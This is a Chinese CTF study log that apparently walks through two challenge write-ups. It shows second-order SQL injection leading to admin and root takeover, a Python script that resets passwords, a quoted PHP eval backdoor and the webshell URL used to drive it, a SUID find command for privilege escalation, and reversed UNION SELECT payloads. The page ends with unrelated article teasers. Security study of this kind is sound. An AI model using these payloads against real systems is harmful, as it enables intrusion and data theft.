4.26日学习记录

[湖湘杯 2021 final]Penetratable

SUID提权

SUID是一种对二进制程序进行设置的特殊权限,可以让二进制程序的执行者临时拥有属主的权限

SUID具有一定的限制:

1.仅对于二进制有效;

2.执行者在程序中有可以执行的权限;

3.权限仅在程序运行的过程中有效

利用的步骤:

先查找具有SUID权限的用户,再通过具有权限的用户去执行命令

打开题目,发现存在登录和注册的框,第一反应是可能存在注入,但是不着急,先正常的注册一个账号登录看看(查看源代码发现,进入到root,进行filename的传参就是我们的目的)


function userUpdateInfo(){
    let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
    let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
    let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
    let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
    $.ajax({
        url: '/?c=user&m=updateUserInfo',
        type: 'post',
        data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
        // async:true,
        dataType: 'text',
        success: function(data){
            alertHandle(data);
        }
    });
}
function updatePass(){
    // let name=encodeURIComponent(Base64.encode($(".input-group>input").eq(0).val()))
    // let oldPass=$(".input-group>input").eq(1).val()?hex_md5($(".input-group>input").eq(1).val()):'';
    // let newPass=$(".input-group>input").eq(2).val()?hex_md5($(".input-group>input").eq(2).val()):'';
    // let saying=encodeURIComponent(Base64.encode($(".input-group>input").eq(3).val()))
    // $.ajax({
    //     url: '/?c=admin&m=updatePass',
    //     type: 'post',
    //     data: 'name='+name+'&newPass='+newPass+'&oldPass='+oldPass+'&saying='+saying,
    //     // async:true,
    //     dataType: 'text',
    //     success: function(data){
    //         alertHandle(data);
    //     }
    // });
}
function downloadLog(filename){
    location.href='/?c=root&m=downloadRequestLog&filename='+filename;
}

为什么要注册admin呢?因为想要通过注册登录看看能不能得到信息,所以用管理员试试,但是admin已经存在了

利用二次注入的方法来注册账号,登录admin账号(我认为在这里只是通过转义来使得我们的账户为admin)

二次注入:

攻击者构造恶意的数据并存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

也就是说,当恶意的语句输入时被转义了,但是在执行时又还原为恶意语句在SQL中执行

附上一张大佬的原理图

 尝试寻找闭合,双引号闭合,成功注册

登录之后因为 转义的原因,用户名变成了admin

 既然用户名是admin,admin是我们需要登录的账户可是原密码我们不知道,所以需要修改密码,在req.js页面可以看见关于修改密码的function

目前我们是user权限,也是可以修改密码的,修改密码,修改完成后,登录admin

admin的权限提高了,可以查看用户信息了,但是没有更多的有用信息,想到需要利用filename传参,而name在root的url下,尝试更高权限的root

果然root也是存在的,采用同样的二次注入来登录修改密码

修改密码的时候提示没有权限

在function里面还有在admin下修改密码的方法,提高权限

通过脚本来更改密码

from hashlib import md5
import requests
url1="http://node4.anna.nssctf.cn:28947/?c=app&m=login"
name=base64.b64encode('admin'.encode('utf-8')).decode()
password = md5(b'123').hexdigest()
pass2=md5(b'root').hexdigest()
url2="http://node4.anna.nssctf.cn:28947?c=admin&m=updatePass"
name2=base64.b64encode('root'.encode('utf-8')).decode()
sess=requests.session()
res1=sess.post(url=url1,data={"name":name,"pass":password});
print(res1.text)
res2=sess.post(url=url2,data={"name":name2,
                              "newPass":pass2,
                              "oldPass":password,
                              "saying":"TIz"})
print(res2.text)

或者通过抓包来修改;先登录admin抓取get传参的爆后改为POST传参(无论原始密码对错都可以修改)

登录root账户,发现存在日志

抓取download的包, 尝试目录遍历

 用dirsearch扫描发现phpinfo,访问看看

有一个if语句,大致意思为:传入的参数强等于md5值,就执行cc中的命令

<?php 
if(md5(@$_GET['pass_31d5df001717'])==='3fde6bb0541387e4ebdadf7c2ff31123'){@eval($_GET['cc']);} 
// hint: Checker will not detect the existence of phpinfo.php, please delete the file when fixing the vulnerability.
?>

md5原值为1q2w3e,这里要注意如果打算利用php一句话木马的话,需要post传参,所以cc后面要接一个post传参

http://node4.anna.nssctf.cn:28947/phpinfo.php?pass_31d5df001717=1q2w3e&cc=eval($_POST[1]);

蚁剑连接成功,进入终端

想要直接来cat,但是被禁止了,说明权限不够

那么就要提权来读取,先查找具有SUID权限的二进制文件

find / -user root -perm -4000 -print 2>/dev/null

 发现sed,利用sed来执行命令

sed指令

[UUCTF 2022 新生赛]ezsql

进入靶场,看见登录框,尝试SQL注入

 存在sql注入,应该是两个地方都存在注入点,那么进行闭合

很奇怪注释符跑前面去了,用一个字符串试试

哦,是倒序了,用脚本把sql语句进行倒序排列

import base64

strA = input()
strB = strA[::-1]

print(strB)

爆字段数没有回显,看了wp发现or被过滤了,那么可以用group by来爆,也可以用union select来尝试(这里是两列)

#2,1 tceles noinu )'1-

爆库名(这里如果是在usename进行的注入,就把回显位放在1上)

#2,)(esabatad tceles noinu )'1-

爆表

#'FTCUU'=amehcs_elbat erehw selbat.amehcs_noitamrofni moorrf )eman_elbat(tacnoc_puoorrg,1 tceles noinu )'1-

爆字段

#'galf'=eman_elbat erehw snmuloc.amehcs_noitamrofni moorrf )eman_nmuloc(tacnoc_puoorrg,1 tceles noinu )'1-

查询字段内容

#galf moorrf )FTCUU(tacnoc_puoorrg,1 tceles noinu )'1-

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/571141.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

使用Spring 完成转账业务添加日志功能

(完整的代码在文章附带文件中 , 文章里的代码仅作展示 , 可能有部分不完善 代码地址 :下载:https://javazhang.lanzn.com/i5oLI1vyiile 密码:1234 ) 任务目标 具体实现方法和心得 步骤1. 导入依赖项Spring依赖 , aop依赖,德鲁伊依赖,mybatis依赖 , mysql驱动 , mybatis-sprin…

深度学习框架pytorch:tensor.data和tensor.detach()的区别

本文重点 本文我们区别一下tensor.data和tensor.detach(),我们所讲解的都是pytorch的1.0版本的情况 官方解释 返回一个新的张量,它与当前图形分离。结果永远不需要梯度。返回的张量与原始张量共享相同的存储空间。将看到对其中任何一个的就地修改,并且可能在正确性检查中…

【神经网络结构可视化】PlotNeuralNet的安装、测试及创建自己的神经网络结构可视化图形

文章目录 前提准备1、下载MikTeX2、下载Git bash3、下载PlotNeuralNet 进行测试1、解压PlotNeuralNet-master.zip2、打开Git bash3、 在my_project中查看生成的pdf文件 创建自己的神经网络结构可视化图形 前提准备 1、下载MikTeX 下载链接&#xff1a; MikTeX ( https://mikt…

闲话 ASP.NET Core 数据校验(一):内置数据校验

前言 所谓输入的是垃圾&#xff0c;输出也必然是垃圾&#xff0c;有多少安全问题隐藏在请求的数据中&#xff0c;所以永远不能相信来自用户端的输入。 对请求数据的合法性进行校验&#xff0c;不仅有助于提升用户界面的友好性&#xff0c;而且有助于提高后台程序的安全性和稳…

区块链安全应用------压力测试

测试要求&#xff1a; 1. 对以下AccountManager智能合约进行压测(基础要求set函数测试&#xff0c;balanceOf涵为20分加分项)2. 在本地链进行测试&#xff0c;需要监控本地进程的资源使用情况。每个进程的multiOutput属性为Avg3. 需要将每一个更改的配置文件截图&#xff0c;和…

初入数据库

SQL&#xff1a;操作关系型数据库的编程语言&#xff0c;定义了一套操作关系型数据库的统一标准。 DDL&#xff08;Data Definition Language&#xff09;数据定义语言 数据库 show databases;create database db01;use db01;select database(); 显示当前使用的数据库drop d…

制作一个RISC-V的操作系统十三-抢占式多任务和兼容协作式多任务

文章目录 强占式多任务流程代码具体流程兼容协作式多任务&#xff08;软中断&#xff09;寄存器 msip流程代码结果 强占式多任务 流程 抢占式多任务由计时器中断触发&#xff0c;最后在处理程序中切换到下一个进程 代码具体流程 上下文中增加pc寄存器 寄存器保留上下文和切…

AI计算中的光学模块:波分复用器的应用前景

在人工智能&#xff08;AI&#xff09;的计算领域&#xff0c;光学模块扮演着至关重要的角色。随着AI技术的飞速发展&#xff0c;对数据处理速度和带宽的需求日益增长。光学模块&#xff0c;特别是波分复用器&#xff08;WDM&#xff09;&#xff0c;因其高速、大容量的数据传输…

实战技巧:Android 14适配从挂号到出院

公众号「稀有猿诉」 原文链接 实战技巧&#xff1a;Android 14适配从挂号到出院 啥&#xff1f;这都4202年了&#xff0c;你的应用还没有升级到targetSDK 34&#xff1f;莫慌&#xff0c;本文就带着你全面的了解升级targetSDK 34的方法以及避坑指南。 注意&#xff0c;A…

机器学习/算法工程师面试题目与答案-深度学习部分1

机器学习/算法工程师面试题目与答案-深度学习部分 BatchNormalization的作用梯度消失循环神经网络&#xff0c;为什么好?什么是GroupConvolution什么是RNN神经网络中权重共享的是&#xff1f;神经网络激活函数&#xff1f;为什么在深度学习中常进行finetuning画GRU结构图什么是…

JavaEE初阶之IO流快速顿悟一(超详细)

目录 题外话 正题 IO流 Java.io.FileInputStream int read() int read(byte[] b) 关于异常 Java7的新特性: try-with-resources ( 资源自动关闭) Java.io.FileOutputStream void write(int b) void write(byte[] b) 小结 题外话 十年青铜无人问,一朝顿悟冲王者 前天…

网工内推 | 深圳网工专场,上市公司、国企,安全认证优先

01 深圳市同为数码科技股份有限公司武汉分公司 招聘岗位&#xff1a;网络工程师 职责描述&#xff1a; 1、负责网络设备的管理、调试、配置、维护等&#xff1b; 2、负责信息安全网络安全设备、系统的运维&#xff1b; 3、负责整体网络系统技术的相关工作&#xff0c;包括架构…

使用C++实现尾插式循环链表结构

在编码中避免不了使用链表&#xff0c;特别是循环链表&#xff0c;很多同学使用时为了省事直接使用C STL库中的链表实现&#xff0c;这样当然很简单也不容易出错&#xff0c;但同时也不可避免的带来了一些问题&#xff1a; 是半个黑盒&#xff0c;虽然能看源码&#xff0c;但是…

如何免费生成网址二维码?支持自定义设计的二维码生成器

在国内外的许多创意广告中都在使用网址二维码。比如&#xff1a;大众汽车隐藏在汽车零件上的企业招聘二维码&#xff0c;扫码后进入大众汽车官网在线申请投递简历&#xff1b;帕森斯设计学院的户外广告中打印在红色沙滩椅上的二维码&#xff0c;扫描后可以在线申请暑期课程&…

详细分析mysqlslap的基本知识 | 压力测试(附Demo)

目录 前言1. 基本知识2. 参数解读2.1 auto-generate-sql2.2 only-print2.3 iterations2.4 并发处理参数 前言 对数据库进行压力测试&#xff0c;对此补充这方面的详细知识点 1. 基本知识 mysqlslap 是 MySQL 自带的用于模拟数据库负载的压力测试工具 可以模拟多个客户端并发…

【Java | 多线程】LockSupport 的使用和注意事项

了解一下 LockSupport LockSupport是一个类&#xff0c;位于java.util.concurrent.locks包中&#xff0c;提供了基本的线程同步机制。 LockSupport的主要作用是挂起和唤醒线程。它提供了两个主要的静态方法&#xff1a;park()和unpark()。 park()&#xff1a;用于挂起当前线…

AI论文速读 |从图结构角度统一车道级交通预测:基准和基线

题目&#xff1a;Unifying Lane-Level Traffic Prediction from a Graph Structural Perspective: Benchmark and Baseline 作者&#xff1a;Shuhao Li, Yue Cui, Jingyi Xu, Libin Li, Lingkai Meng, Weidong Yang(杨卫东), Fan Zhang, Xiaofang Zhou(周晓方) 机构&#xff…

【Python】Python函数的黑魔法:递归,嵌套函数与装饰器

欢迎来到CILMY23的博客 本篇主题为&#xff1a; Python函数的黑魔法&#xff1a;递归&#xff0c;嵌套函数与装饰器 个人主页&#xff1a;CILMY23-CSDN博客 系列专栏&#xff1a;Python | C | C语言 | 数据结构与算法 感谢观看&#xff0c;支持的可以给个一键三连&#xff…

redis基于Stream类型实现消息队列,命令操作,术语概念,个人总结等

个人大白话总结 1 在Redis Stream中&#xff0c;即使消息被消费者确认&#xff08;acknowledged, ACK&#xff09;&#xff0c;消息也不会自动从Stream数据结构中删除。这与Kafka或RabbitMQ等传统消息队列系统的做法不同&#xff0c;在那些系统中&#xff0c;一旦消息被消费并…

废液收集系统物联网远程监控解决方案

废液收集系统物联网远程监控解决方案 在面对日益严峻的环保压力和严格的法律法规要求下&#xff0c;构建一套高效、智能的废液收集系统物联网远程监控解决方案显得尤为重要。该方案旨在通过深度融合物联网技术、云计算、大数据分析等先进手段&#xff0c;实现对废液收集系统的…